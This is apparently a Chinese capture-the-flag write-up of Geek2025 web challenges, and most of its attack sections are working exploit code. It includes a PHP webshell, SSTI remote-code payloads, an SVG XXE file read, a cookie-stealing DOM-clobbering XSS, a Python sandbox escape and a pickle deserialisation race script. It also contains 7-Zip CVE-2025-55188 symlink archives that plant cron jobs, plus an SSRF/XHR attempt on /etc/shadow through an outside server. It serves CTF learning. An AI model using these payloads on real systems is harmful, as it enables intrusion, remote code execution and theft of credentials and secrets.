// 文件名变化 $newname = time() . "_" . preg_replace('/[^A-Za-z0-9._-]/', '_', $orig); $dest = $SANDBOX . '/' . $newname;
if (!move_uploaded_file($tmp, $dest)) { http_response_code(500); die("Move failed."); }
// 上传成功后,回显文件名 echo "UPLOAD_OK:" . htmlspecialchars($newname, ENT_QUOTES); exit;}?>对源码的审计结果已经写在了注释中。
因此,我们需要创建一个文本文档,先在文档的前 4096 个字节输入无效字符,再在中间输入 webshell,最后再输入 4096 个字节的无效字符。对于文件头限制的 zip 与 zipx 文件,我们可以通过将文本文档压缩为 7z 文件来绕过。
文件中写入 <?php system('env');?> webshell,成功获得 flag
week3
路在脚下
这题有严重的非预期。
打开网站,提示传入 ?name=YourName。我们先传入 ?name=a,发现回显了 Hello a!,判断可能有 ssti 漏洞。我们传入 ?name={{7*7}},回显

说明渲染了,但是没有回显,因此判断可能是无回显的 ssti 漏洞。ssti 无回显的打法通常有两种,一种是将执行命令的结果写入 static 目录下,一种是打内存马。
按照顺序,也应该先尝试更为简单的写入 static 目录下。因此,我传入:
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('echo `env` > /app/static/1.txt').read()")}}再访问 /static/1.txt,成功获得 flag。
但是这题的难度是 Hard,如果只是这样,未免有点简单了,于是联系了出题人。给出了 payload 后,出题人发现了非预期,于是修改了原题,并且给出了一题 revenge。
修改原题后,尝试打内存马。尝试传入:
?name={{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('env').read())")}}得到回显:

里面可能有黑名单过滤,于是尝试了字符串拼接,修改了 be"+"fore_request_funcs.setdefault(None,[]) 后,发现再次回显渲染了但是不回显的提示,说明网站可能破坏了原来的语句,那么内存马也是打不通了。于是开始在网上寻找文章:
SSTI无回显处理(新回显方式) - tammy66 - 博客园
这篇文章讲了两种方法,并且很细致。我选择了 http 头外带的方法。传入:
{{url_for.__globals__.__builtins__.setattr(url_for.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",url_for.__globals__.__builtins__.eval("__import__('os').popen('env').read()"))}}成功获得 flag

路在脚下_revenge
这题和上一题修复后的打法一样,不多说了……
Image Viewer
进入网站,发现一个文件上传接口与图片预览接口。先尝试上传文件马,发现被过滤了,于是开始查看源码:
<input type="file" name="file" accept=".svg,image/svg+xml,.png,.jpg,.jpeg,.gif,image/*">观察一下,发现 image/svg+xml 可以好好利用:
利用SVG进行XSS和XXE_svg xss-CSDN博客
因此,我们写一个文本文档,其内容为:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE note [<!ENTITY xxe SYSTEM "file:///flag" >]><svg height="220" width="574"> <text x="10" y="20">&xxe;</text></svg>然后将文件后缀改为 svg,上传,即可看到 flag

Xross The Doom
这题有附件,先看附件:
{ "name": "xross", "version": "1.0.0", "description": "oh, no!", "main": "server.js", "scripts": { "start": "node server.js", "dev": "NODE_ENV=development node server.js", "solve": "node solve.js", "bot": "node bot.js" }, "author": "", "license": "MIT", "dependencies": { "cookie-parser": "^1.4.7", "express": "^5.1.0", "nanoid": "^5.1.6", "dompurify": "^3.3.0", // dompurify 的版本较新,没有发现直接绕过的方法 "jsdom": "^27.1.0", "puppeteer": "^24.29.0" }, "devDependencies": {}}const express = require('express');const path = require('path');const cookieParser = require('cookie-parser');const { nanoid } = require('nanoid');const { spawn } = require('child_process');const { JSDOM } = require('jsdom');const createDOMPurify = require('dompurify');
const window = new JSDOM('').window;const DOMPurify = createDOMPurify(window);
const app = express();const PORT = process.env.PORT || 3000;const FLAG = process.env.FLAG || 'flag{test}';
const posts = [];const logs = [];
app.use(express.urlencoded({ extended: false }));app.use(express.json());app.use(cookieParser());
app.use('/static', express.static(path.join(__dirname, 'public')));app.use('/vendor', express.static(path.join(__dirname, 'node_modules', 'dompurify', 'dist')));// 上述内容为初始化
app.get('/', (req, res) => { res.sendFile(path.join(__dirname, 'public', 'index.html'));});
// 以下两个接口都可以接收信息后渲染网页,但是因为模板的不同,因此有些区别// 选择哪个作为注入点和 bot 接口有关app.get('/post/:id', (req, res) => { res.sendFile(path.join(__dirname, 'public', 'post.html'));});
app.get('/admin/review/:id', (req, res) => { res.sendFile(path.join(__dirname, 'public', 'admin.html'));});
// 这个接口可以接收请求时的时间、cookie、user-agent 并储存app.get('/log', (req, res) => { const c = req.query.c || ''; const ua = req.headers['user-agent'] || ''; logs.push({ time: new Date().toISOString(), cookie: c, ua }); res.json({ ok: true });});
// 这个接口可以读取日志中存入的信息app.get('/logs', (req, res) => { res.json({ logs });});
// 这个接口可以接收一个网址,让机器人主动访问网址// 具体信息在 bot.js 中app.get('/bot', async (req, res) => { try { const serverOrigin = `http://127.0.0.1:${PORT}`; let { id } = req.query || {}; if (typeof id !== 'string' || id.trim() === '') { return res.status(400).json({ error: 'Missing id' }); } id = id.trim(); if (!/^[A-Za-z0-9_-]{1,64}$/.test(id)) { return res.status(400).json({ error: 'Invalid id format' }); // 隔绝了路径穿越的可能 } const exists = posts.some(p => p.id === id); if (!exists) { return res.status(404).json({ error: 'Post not found' }); }
const safeId = encodeURIComponent(id); const targetUrl = `${serverOrigin}/admin/review/${safeId}`; // bot 默认访问 /admin/review/:id 接口,因此我们使用该接口作为注入点
res.json({ ok: true, target: targetUrl, message: 'queued' });
const botPath = path.join(__dirname, 'bot.js'); const child = spawn(process.execPath, [botPath, targetUrl], { env: { ...process.env, FLAG: FLAG }, stdio: ['ignore', 'inherit', 'inherit'] }); child.on('error', (err) => { console.error('[BOT] failed to start:', err.message); }); child.on('exit', (code) => { if (code === 0) { console.log('[BOT] visited:', targetUrl); } else { console.warn('[BOT] bot.js exited with code', code); } }); } catch (err) { console.error('[BOT] internal error:', err); res.status(500).json({ error: 'Internal error' }); }});
// 获取所有上传内容的信息的接口app.get('/api/posts', (req, res) => { res.json({ posts });});
// 根据 id 值获取对应上传内容的接口app.get('/api/posts/:id', (req, res) => { const id = req.params.id; const post = posts.find(p => p.id === id); if (!post) return res.status(404).json({ error: 'Not found' }); res.json({ post });});
// 上传信息的接口app.post('/api/posts', (req, res) => { const { title, content } = req.body; if (!title || !content) return res.status(400).json({ error: 'Missing title or content' }); const id = nanoid(8); const sanitized = DOMPurify.sanitize(String(content)); // 对上传内容通过 DOMPurify 进行了过滤 const post = { id, title: String(title), content: sanitized, createdAt: Date.now() }; posts.push(post); res.json({ ok: true, id });});
app.listen(PORT, () => { console.log(`Server listening on http://localhost:${PORT}`);});const puppeteer = require('puppeteer');
async function main() { const targetUrl = process.argv[2] || process.env.TARGET_URL; const FLAG = process.env.FLAG || 'flag{test}'; // 获取 flag if (!targetUrl) { process.exit(1); }
const url = new URL(targetUrl);
const browser = await puppeteer.launch({ headless: 'new', pipe: true, executablePath: '/usr/bin/chromium-browser', args: [ '--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu', '--disable-software-rasterizer', '--disable-extensions', '--disable-translate', '--disable-features=TranslateUI', '--disable-features=site-per-process', '--disable-background-networking', '--disable-default-apps', '--disable-sync', '--disable-hang-monitor', '--disable-breakpad', '--disable-logging', '--disable-vulkan', '--disable-accelerated-2d-canvas', '--disable-accelerated-video-decode', '--mute-audio', '--no-zygote', '--disable-dbus', ] }); const page = await browser.newPage(); // 初始化并打开了一个单独的浏览器 // 根据此处可以猜测本题打 xss
await page.setCookie({ name: 'FLAG', value: FLAG, url: url.origin + '/admin', path: '/admin', httpOnly: false, sameSite: 'Lax' }); // flag 放在了 /admin 路径下的 cookie 中
console.log(`[BOT] Visiting: ${targetUrl}`); await page.goto(targetUrl, { waitUntil: 'networkidle0' }); await new Promise(r => setTimeout(r, 1500));
await browser.close();}
main().catch(err => { console.error('[BOT] Error:', err); process.exit(1);});根据以上信息,我们判断 /admin/preview/:id 路径很有用,因此我们继续查看这个接口相关的源码:
(() => { const id = location.pathname.split('/').pop(); const contentEl = document.getElementById('content'); const metaEl = document.getElementById('meta');
fetch(`/api/posts/${id}`).then(r => r.json()).then(({ post }) => { metaEl.textContent = `创建时间:${new Date(post.createdAt).toLocaleString()}`;
const safe = DOMPurify.sanitize(post.content); contentEl.innerHTML = safe;
function asBool(v) { return v === true || (v && typeof v === 'object' && 'value' in v ? v.value === 'true' : !!v); } function asPath(v) { if (typeof v === 'string') return v; if (v && typeof v.getAttribute === 'function' && v.getAttribute('action')) { return v.getAttribute('action'); } if (v && v.action) return v.action; return ''; }
const auto = asBool(window.AUTO_SHARE); const path = asPath(window.CONFIG_PATH); const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG); // 这三个变量的值都可以从窗口获取的,比较可疑
// 处理接口,同样具有漏洞 function buildTarget(base, sub) { const parts = (base + '/' + (sub || '')).split('/'); const stack = []; for (const seg of parts) { if (seg === '..') { if (stack.length) stack.pop(); // 这里直接将当前栈中的顶层信息删除,产生了漏洞 // 如果用户传入 ../目标路径,就会突破 base 的限制 } else if (seg && seg !== '.') { stack.push(seg); } } return '/' + stack.join('/'); }
if (auto) { const target = buildTarget('/analytics', path); const qs = new URLSearchParams({ id, ua: navigator.userAgent }); if (includeCookie) { qs.set('c', document.cookie); } fetch(target + '?' + qs.toString()).catch(() => {}); // 漏洞点在这: // 一旦 auto 变量和 includeCookie 变量的值为 true,这个接口就会自动向 target 对应的接口发送当前用户的 cookie 值 } }).catch(() => { contentEl.textContent = '未找到内容'; });})();根据上述分析,我们只需要传入特定的值,使 admin.js 中的三个变量的值分别为 true,../log,true,同时让 bot 访问 /admin/preview/传入内容的id 路径,即可获得 flag
因此,我们先在 /index 的输入框中传入:(记得传入 title 的值)
<img id="AUTO_SHARE" value="true"><img id="CONFIG_PATH" action="../log"><img id="CONFIG_COOKIE_DEBUG" value="true">然后获得 id:

访问 /bot 接口,传入 ?id={你的id}:

访问 /logs 接口,成功获得 flag:

西纳普斯的许愿碑(复现)
下载附件,关键文件有三个:
{ "wishes": [ "I wish for boundless wealth and prosperity", "I wish for everyone to have eternal life", "I wish to be surrounded by beautiful women", "I wish to attain a prestigious and noble status", "I wish to taste the most delicious food", "I want to never be parted from my beloved" ]}from flask import Flask, render_template, send_from_directory, jsonify, requestimport jsonimport threadingimport time
app = Flask(__name__, template_folder='template', static_folder='static')# 从文件中读入 json 格式内容,将其中的 wishes 内容存储在 wishes 变量中# 根据 wishes.json 中的内容,判断 wishes 变量是一个有 6 个字符串的列表with open("asset/txt/wishes.json", 'r', encoding='utf-8') as f: wishes = json.load(f)['wishes']
wishes_lock = threading.Lock()
@app.route('/')def index(): return render_template('index.html')
@app.route('/assets/<path:filename>')def assets(filename): return send_from_directory('asset', filename)
# 关键路由:# 当请求方法为 POST 时,会提取 json 串中 wish 的值,并将其追加到列表尾部# 当请求方法为 GET 时,会遍历 wishes 中所有的值,将每一个值都调用 evaluate_wish_text 函数,并将结果返回@app.route('/api/wishes', methods=['GET', 'POST'])def wishes_endpoint(): from wish_stone import evaluate_wish_text if request.method == 'GET': with wishes_lock: evaluated = [evaluate_wish_text(w) for w in wishes] return jsonify({'wishes': evaluated})
data = request.get_json(silent=True) or {} text = data.get('wish', '') if isinstance(text, str) and text.strip(): with wishes_lock: wishes.append(text.strip())
return jsonify({'ok': True}), 201 return jsonify({'ok': False, 'error': 'empty wish'}), 400
# 多线程函数,每 0.5 秒检查一次 wishes 列表,将其超过原本 6 个元素的部分删除# 可以打条件竞争绕过def _cleanup_task(): while True: with wishes_lock: if len(wishes) > 6: del wishes[6:] time.sleep(0.5)
if __name__ == '__main__': threading.Thread(target=_cleanup_task, daemon=True).start() app.run(host='0.0.0.0', port=8080, debug=False, use_reloader=False)import multiprocessingimport sysimport ioimport ast
# 利用 AST 结构树对上传内容进行检查。重写了对 Attribute 和 GeneratorExp 表达式的检查;# 当检查到 Object.attr 时,对 attr 属性进行遍历,如果有黑名单中的属性,就产生一个 ValueError 错误# 当检查到有一个 Exp 表达式时,会直接产生一个 ValueError 错误class Wish_stone(ast.NodeVisitor): forbidden_wishes = { "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__", "__globals__", "__code__", "__closure__", "__func__", "__self__", "__module__", "__import__", "__builtins__", "__base__" }
def visit_Attribute(self, node): if isinstance(node.attr, str) and node.attr in self.forbidden_wishes: raise ValueError self.generic_visit(node)
def visit_GeneratorExp(self, node): raise ValueError
# 定义了在 exec 环境中能使用的 builtinsSAFE_WISHES = { "print": print, "filter": filter, "list": list, "len": len, "addaudithook": sys.addaudithook, "Exception": Exception, # Exception 类的实例化对象具有一个 __traceback__ 属性,指向相关的回溯对象 # 我们可以利用这一特性搭配 tb_frame 获取栈帧}
def wish_granter(code, result_queue): safe_globals = {"__builtins__": SAFE_WISHES}
sys.stdout = io.StringIO() sys.stderr = io.StringIO()
try: exec(code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() if error: result_queue.put(("err", error)) else: result_queue.put(("ok", output)) except Exception: import traceback result_queue.put(("err", traceback.format_exc()))
def safe_grant(wish: str, timeout=3): # 对传入内容进行了 unicode 解码,因此可以使用 unicode 编码绕过一些直接的限制 wish = wish.encode().decode('unicode_escape') try: parse_wish = ast.parse(wish) Wish_stone().visit(parse_wish) except Exception as e: return f"Error: bad wish ({e.__class__.__name__})"
result_queue = multiprocessing.Queue() p = multiprocessing.Process(target=wish_granter, args=(wish, result_queue)) p.start() p.join(timeout=timeout)
if p.is_alive(): p.terminate() return "You wish is too long."
try: status, output = result_queue.get_nowait() print(output) return output if status == "ok" else f"Error grant: {output}" except: return "Your wish for nothing."
# 定义了一个钩子函数,要求传入的事件必须是白名单中的事件,且执行事件时不能有参数# 可以重写 list 与 len 函数的定义来绕过CODE = '''def wish_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exceptionaddaudithook(wish_checker)print("{}")'''
# 对字符的一些直接过滤,可以用前面说的 Unicode 编码的方式绕过badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")
def evaluate_wish_text(text: str) -> str: for ch in badchars: if ch in text: print(f"ch={ch}") return f"Error:waf {ch}" out = safe_grant(CODE.format(text)) return out由于 ast 结构树的限制,我们无法使用传统的沙箱逃逸方法。找了很久的资料后,发现了栈帧 + traceback 逃逸沙箱的办法。
因此,我们构造如下 payload:
len = lambda x: 0list = lambda x: Truetry: raise Exception() # 引发错误,获取 Exception 类except Exception as e: frame = e.__traceback__.tb_frame # 获取当前帧 frame = frame.f_back # 回退一级,返回 exec() 对应帧 frame = frame.f_back # 再回退一级,返回 wish_granter() 对应帧 globals = frame.f_globals # 获取 wish_granter() 运行时的全局环境变量 builtins = globals['__builtins__'] # 获取全局环境变量中的 builtins print(builtins.__import__('os').popen('whoami').read())接下来只需要对过滤字符进行 16 进制编码,并且写条件竞争就可以了。
Exp 如下:
import asyncioimport httpx
URL = "targetURL"wishes = """list = lambda x: Truelen = lambda x: 0try: raise Exception()except Exception as e: frame = e.__traceback__.tb_frame.f_back.f_back builtins = frame.f_globals['__builtins__'] print(builtins['__import__']('os').popen('env').read())"""
def init_payload(payload): payload = "\")\n" + payload + "# " badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "") enter_char = '\n' repalce_char = badchars + enter_char string = '' for item in payload: if item in repalce_char: string += f"\\x{ord(item):02x}" else: string += item return string
async def read(client): while True: response = await client.get(URL) try: response = response.json()['wishes'][6] if response: return response except Exception: pass
async def main(): payload = init_payload(wishes) print(payload) json = { 'wish' : payload } async with httpx.AsyncClient(base_url=URL) as client: upload_task = client.post(URL, json=json) read_task = read(client) a, response = await asyncio.gather(upload_task, read_task) print(response)
asyncio.run(main())这是我自己做题时的解法,但是由于犯蠢了,最后没有得到 flag……
这个方法对于这题来说是可以的,但是如果沙箱环境中没有给 Exception 类,又应该怎么办呢?官方 wp 给出了一个更加一般化的解法:自己写生成器
别人给不了的,就自己创造!
有关这部分,官方 wp 是我见过整理得最齐全的。但是同样也有其他大佬整理地很好:
python 栈帧沙箱逃逸 - colorfullbz - 博客园
本题的 exp:(只写 payload 部分)
def f(): global x, frame frame = x.gi_frame.f_back.f_back.f_back.f_globals # 多使用一次 f_back,回退出生成器这一层的帧 yieldx = f()x.send(None)print(frame['__builtins__']['__import__']('os').popen('env').read())PDF Viewer(复现)
黑盒题。看了官方 wp,要下载 PDF 文件看文件头(涨知识了)。
弄了半天,也没看到关键组件,这对吗?最后阴差阳错下,在生成的 PDF 的页面的文档属性中看到了关键组件


可以看到,html 生成 PDF 文件的关键组件是 wkhtmltopdf。抓包后发现了一个 /admin 接口,其中需要管理员的账号及密码。
wkhtmltopdf 在 <= 0.12.4 版本存在 SSRF 引起的任意文件读取漏洞,还有一个 XHR 跨域文件读取
XHR 漏洞:
CTFtime.org / UTCTF 2025 2022 / HTML2PDF / Writeup
(纯英文的,酌情观看)
先测 SSRF 漏洞。传入:
<iframe src="file:///etc/shadow" hight="4000" width="800"></iframe>没有回显,有点糟糕。再次尝试是否出网,传入:
<iframe hight="800" width="800" src="http://trepclcsqr.zaza.eu.org"></iframe>得到:

出网,于是在自己的服务器上创建一个文件,内容为:
<?php header('location:file://'.$_REQUEST['url']); ?>运行 php -S 0.0.0.0:2333 启动 php 服务,随后传入:
<iframe hight="800" width="800" src="http://47.121.187.138:2333/a.php?url=/etc/shadow"></iframe>没有获得内容……
那么基本可以判断 SSRF 打不通了,于是只能利用 XHR 跨域文件读取。传入如下内容:
<script> x = new XMLHttpRequest; x.onload = function() { document.write(this.responseText) }; x.open("GET", "file:///etc/shadow") x.send()</script>
成功获得 admin 的用户名,接下来爆破密码:

成功获得 flag
week4
AISCREAM(复现)
下载附件,关键文件有 2 个:
import osimport uuidimport sqlite3import secretsimport pickle
from flask import Flask, request, render_template, redirect, url_for, session, jsonify, flash
from .security import auditfrom .ai_models import BaseModelfrom . import ensure_dirs
BASE_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), ".."))DB_PATH = os.path.join(BASE_DIR, "storage", "app.db")MODEL_DIR = os.path.join(BASE_DIR, "storage", "models")
def get_db(): conn = sqlite3.connect(DB_PATH) conn.row_factory = sqlite3.Row return conn
# 初始化数据库def init_db(): ensure_dirs() conn = get_db() cur = conn.cursor() cur.execute( """ CREATE TABLE IF NOT EXISTS users ( uid TEXT PRIMARY KEY, model_path TEXT, model_meta TEXT, created_at INTEGER, audit_ok INTEGER DEFAULT 0 ) """ ) try: cur.execute("ALTER TABLE users ADD COLUMN audit_ok INTEGER DEFAULT 0") except Exception: pass conn.commit() conn.close()
_pkg_dir = os.path.dirname(__file__)_tpl_dir = os.path.join(_pkg_dir, "..", "templates")_static_dir = os.path.join(_pkg_dir, "..", "static")app = Flask(__name__, template_folder=_tpl_dir, static_folder=_static_dir)app.config["MAX_CONTENT_LENGTH"] = 512 * 1024app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY", secrets.token_hex(16))init_db()
@app.before_requestdef assign_uid(): if "uid" not in session: session["uid"] = uuid.uuid4().hex
@app.route("/")def index(): uid = session["uid"] conn = get_db() row = conn.execute("SELECT * FROM users WHERE uid=?", (uid,)).fetchone() conn.close() return render_template("index.html", user=row)
@app.route("/model/upload", methods=["POST"])def upload_model(): uid = session["uid"] data = None src = None
f = request.files.get("model_file") if f and f.filename: src = f.filename data = f.read()
if not data: flash("No data provided", "error") return redirect(url_for("index"))
# 先进行了文件上传 path = os.path.join(MODEL_DIR, f"{uid}.pkl") with open(path, "wb") as fp: fp.write(data)
# 然后再进行检验 audit_result = audit(data) meta = { "len": len(data), "source": src, "audit": audit_result.summary, }
# 最后将检验信息存入数据库 conn = get_db() conn.execute( "INSERT INTO users(uid, model_path, model_meta, created_at, audit_ok) VALUES(?,?,?,?,?)" " ON CONFLICT(uid) DO UPDATE SET model_path=excluded.model_path, model_meta=excluded.model_meta, audit_ok=excluded.audit_ok", (uid, path, str(meta), int(__import__("time").time()), 1 if audit_result.ok else 0), ) conn.commit() conn.close()
if audit_result.ok: flash("Model uploaded and passed audit.", "success") else: flash(f"Audit failed: {'; '.join(audit_result.reasons)}", "error") return redirect(url_for("index"))
@app.route("/model/predict")def predict(): uid = session["uid"] text = request.args.get("text", "") conn = get_db() row = conn.execute("SELECT model_path, audit_ok FROM users WHERE uid=?", (uid,)).fetchone() conn.close()
# 从数据库中读取文件的检验信息进行检查 if not row: return jsonify({"error": "no model uploaded"}), 400 path = row[0] audit_ok = int(row[1] or 0) if not audit_ok: return jsonify({"error": "model failed audit"}), 400
# 检查通过后,进行文件读取 with open(path, "rb") as fp: data = fp.read()
try: # 对文件进行反序列化,因此存在反序列化漏洞 model = pickle.loads(data) except Exception as e: return jsonify({"error": f"failed to load model: {e}"}), 400
if not isinstance(model, BaseModel): return jsonify({"error": "invalid model type"}), 400
try: result = model.predict(text) except Exception as e: return jsonify({"error": f"prediction failed: {e}"}), 500 return jsonify({"ok": True, "result": result})
if __name__ == "__main__": app.run(host="0.0.0.0", port=8000, debug=False)security.py
坚不可摧的审计函数,确实坚不可摧,没什么好说的
由于这个坚不可摧的审计函数的存在,我们就不能想着让我们上传的文件在数据库中记录的检验信息为通过;但是由于上传文件和数据库状态更新有先后顺序,并且文件上传要先进行,因此我们可以考虑打条件竞争:我们可以先上传一个安全文件,让数据库中的检验信息为通过,然后上传危险文件同时访问危险文件,让访问接口读取的数据库中的检验信息还是安全文件的信息,使危险文件可以被反序列化从而成功达成命令执行
生成 pkl 文件:
import pickle
class Evil:
def __reduce__(self): payload = "__import__('os').popen('env > static/result.txt')" return (eval, (payload,))
with open("safe.pkl", "wb") as f: pickle.dump("a", f)
with open("evil.pkl", "wb") as f: evil = Evil() pickle.dump(evil, f)条件竞争:
import asyncioimport httpx
URL = "targetURL"
async def main(): safe_file = { "model_file" : "safe.pkl" } evil_file = { "model_file" : "evil.pkl" } async with httpx.AsyncClient(base_url=URL) as client: await client.get("/")
while True:
try: await client.post("/model/upload", files=safe_file)
upload_task = client.post("/model/upload", files=evil_file) access_task = client.get("/model/predict", params={"text": "love"}) await asyncio.gather(upload_task, access_task) except Exception: pass
response = await client.get("/static/result.txt") if response.status_code == 200: print(response.text) break
asyncio.run(main())77777_time_task(复现)
CVE-2025-55188 + 定时任务
下载附件:
import osfrom flask import Flask, jsonify, requestimport subprocess
app = Flask(__name__)UPLOAD_DIR="./uploads"os.makedirs(UPLOAD_DIR, exist_ok=True)@app.route("/", methods=["GET"])def index(): return "Hello World"
@app.route("/upload", methods=["POST"])def upload(): if 'file' not in request.files: return jsonify({"status": "error", "message": "No file part"}), 400 file = request.files['file'] if file.filename == '': return jsonify({"status": "error", "message": "No selected file"}), 400 sanitizeFilename=file.filename.replace("..", "").replace("/","") ext=sanitizeFilename.split(".")[-1] if ext != "7z": return jsonify({"status": "error", "message": "Only .7z files are allowed"}), 400 filepath = os.path.join(UPLOAD_DIR, file.filename) file.save(filepath)
# 7-zip 可能有目录穿越与 RCE 漏洞,关键在于 7-zip 的版本 ret=subprocess.run(["/tmp/7zz", "x", filepath],shell=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE) if ret.returncode != 0: return jsonify({"status": "error", "message": "Failed to extract .7z file", "detail": ret.stderr.decode()}), 500 return jsonify({"status": "success", "filename": file.filename})
@app.route("/listfiles", methods=["GET"])def list_files(): dir=request.args.get("dir", "./uploads") files = os.listdir(dir) return jsonify({"files": files})
if __name__ == "__main__": app.run(host="0.0.0.0", port=3000, debug=False)Dockerfile
# 找了半天的版本没找到,结果最后在 Dockerfile 里面找到了
FROM python:3.11-slim
# Install cron and 7zip utilities required by the appRUN apt-get update \ && apt-get install -y --no-install-recommends cron wget xz-utils\ && rm -rf /var/lib/apt/lists/*
WORKDIR /app# 访问官网,发现环境使用的是 25.00 版本,确实存在漏洞RUN cd /tmp && \ wget https://www.7-zip.org/a/7z2500-linux-x64.tar.xz \ && tar -xvf 7z2500-linux-x64.tar.xz
# Copy the application codeCOPY app/ ./COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.shRUN chmod +x /usr/local/bin/docker-entrypoint.sh
# Install Python dependenciesRUN pip install --no-cache-dir flask
EXPOSE 3000
ENTRYPOINT ["/usr/local/bin/docker-entrypoint.sh"]由此可以判断出,本题考查的是 CVE-2025-55188 的漏洞。
关于这个漏洞,有一篇博客讲的很详细(纯英文,我看不懂,只能量力而行了……)
CVE-2025-55188: 7-Zip Arbitrary Code Execution | lunbun
由于我们不知道现在的目录下有哪些文件夹,因此我们采用更加通用的第二种方法。
第二种方法的核心原理是 7-zip 在解压缩时会将 /a 的链接认为是 ./a,同时认为其他的链接都不会被认定为危险。
这题是无回显的 RCE,那么通常条件下会选择写入 static 文件目录下,因此,构造危险 7z 文件的脚本为:
cat > bash.sh << 'EOF'
> #!/bin/bash> mkdir /tmp/temp> tmpdir="/tmp/temp"> dir="/mnt/c/Users/ASUS/Desktop"> cd "$tmpdir">> mkdir -p a/b> ln -s /a a/b/link> 7z a exp.7z a/b/link -snl>> ln -s a/b/link/../../tmp link> 7z a exp.7z link -snl>> rm link> mkdir link> echo -e "#\!/bin/sh\nmkdir /app/static\ncat /flag > /app/static/flag.txt" > link/exp.sh> 7z a exp.7z link/exp.sh>> cp exp.7z "$dir"> cd "$dir"> rm -r "$tmpdir"> EOF运行脚本:
bash bash.sh使用 Docker 搭建本地环境,尝试写脚本上传文件:
import requestsimport logging
logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
URL = "http://127.0.0.1:4567"
def upload(file): files = { "file" : file } try: response = requests.post(URL + "/upload", files=files) if response.status_code == 200: return response.json()['filename'] logging.error("上传文件失败!") except requests.RequestException: logging.error(f"无法访问 {URL} ...")
if __name__ == "__main__": file1 = open("Geek2025/77777_time_task/exp.7z", "rb") response = upload(file1) logging.info(response)运行脚本后,查看 Docker 环境,成功上传文件:

但是现在面临着新的问题,脚本确实已经上传了,但是应该怎样执行呢?我没什么经验,因此没啥想法。看过官方 wp 之后,发现使用的方法是定时任务。再次构造一个危险 7z 文件:
cat > shell.sh << 'EOF'
> #!/bin/bash> mkdir /tmp/temp> tmpdir="/tmp/temp"> dir="/mnt/c/Users/ASUS/Desktop"> cd "$tmpdir">> mkdir -p c/d> ln -s /c c/d/linker> 7z a shell.7z c/d/linker -snl>> ln -s c/d/linker/../../../etc/cron.d/ linker> 7z a shell.7z linker -snl>> rm linker> mkdir -p linker> echo "* * * * * root /bin/bash /tmp/exp.sh" > linker/task> 7z a shell.7z linker/task>> cp shell.7z "$dir"> cd "$dir"> rm -r "$tmpdir"> EOF这里有很多注意点:最重要的就是连接的目录不能重复,否则再次解压缩的时候就会因为目录存在并且同一个文件链接着两个不同的目录而报错。
具体原因懒得调了,就注意全都不一样就行了
exp 就很简单了
import requestsimport loggingimport time
logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
URL = "http://127.0.0.1:4567"
def upload(file): files = { "file" : file } try: response = requests.post(URL + "/upload", files=files) if response.status_code == 200: return logging.error(f"上传文件失败!错误原因:{response.json()['message']} 报错细节:{response.json()['detail']}") except requests.RequestException: logging.error(f"无法访问 {URL} ...")
def fetch(): try: response = requests.get(URL + "/static/flag.txt") if response.status_code == 200: return response.text logging.warning("文件不存在,请稍后再试...") except requests.RequestException: logging.error(f"无法访问 {URL} ...")
def main(): file1 = open("Geek2025/77777_time_task/exp.7z", "rb") file2 = open("Geek2025/77777_time_task/shell.7z", "rb") upload(file1) upload(file2) while True: response = fetch() if response: break time.sleep(5) logging.info(response)
if __name__ == "__main__": main()官方 wp 中还给出了一种更为巧妙的方法。利用访问 /listfiles 接口时会回显 upload 目录下的文件与目录名,因此使用 mkdir 命令,并利用反引号将 cat /flag 的结果作为文件名回显。这确实是一种好方法,可以利用题目中的其他条件创造回显,但是确实有点难想到了
生成危险 7z 文件的脚本:
cat > bash.sh << 'EOF'
> #!/bin/bash> olddir="/mnt/c/Users/ASUS/Desktop">> mkdir /tmp/temp> tempdir="/tmp/temp"> cd "$tempdir">> mkdir -p a/b> ln -s /a a/b/link> 7z a write.7z a/b/link -snl>> ln -s a/b/link/../../../etc/cron.d/ link> 7z a write.7z link -snl>> rm link> mkdir link> echo "* * * * * root mkdir /app/uploads/\`cat /flag\`" > link/task> 7z a write.7z link/task>> cp write.7z "$olddir"> cd "$olddir"> rm -r "$tempdir"> EOF官方 wp 中的脚本有些小问题,由于命令执行时没有添加自动覆盖文件的参数,并且 /etc/crontab 文件已经存在,因此上传时会由于超时而退出命令,由此产生错误,从而使命令无法上传。所以上传到 /etc/cron.d/ 目录下随便一个文件就可以了。
exp:
import requestsimport logging
logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
URL = "http://3000-2bb3bfdc-6fa5-46c5-b1f1-f3b9584f0747.challenge.ctfplus.cn/"
def upload(file): files = { "file" : file } try: response = requests.post(URL + "/upload", files=files) if response.status_code == 200: return logging.error(f"上传文件失败!错误原因:{response.json()['message']} 报错细节:{response.json()['detail']}") except requests.RequestException: logging.error(f"无法访问 {URL} ...")
def fetch(): try: response = requests.get(URL + "/listfiles") if response.status_code == 200: return response.json() logging.warning("文件不存在,请稍后再试...") except requests.RequestException: logging.error(f"无法访问 {URL} ...")
def main(): file = open("Geek2025/77777_time_task/write.7z", "rb") upload(file) response = fetch() logging.info(response)
if __name__ == "__main__": main()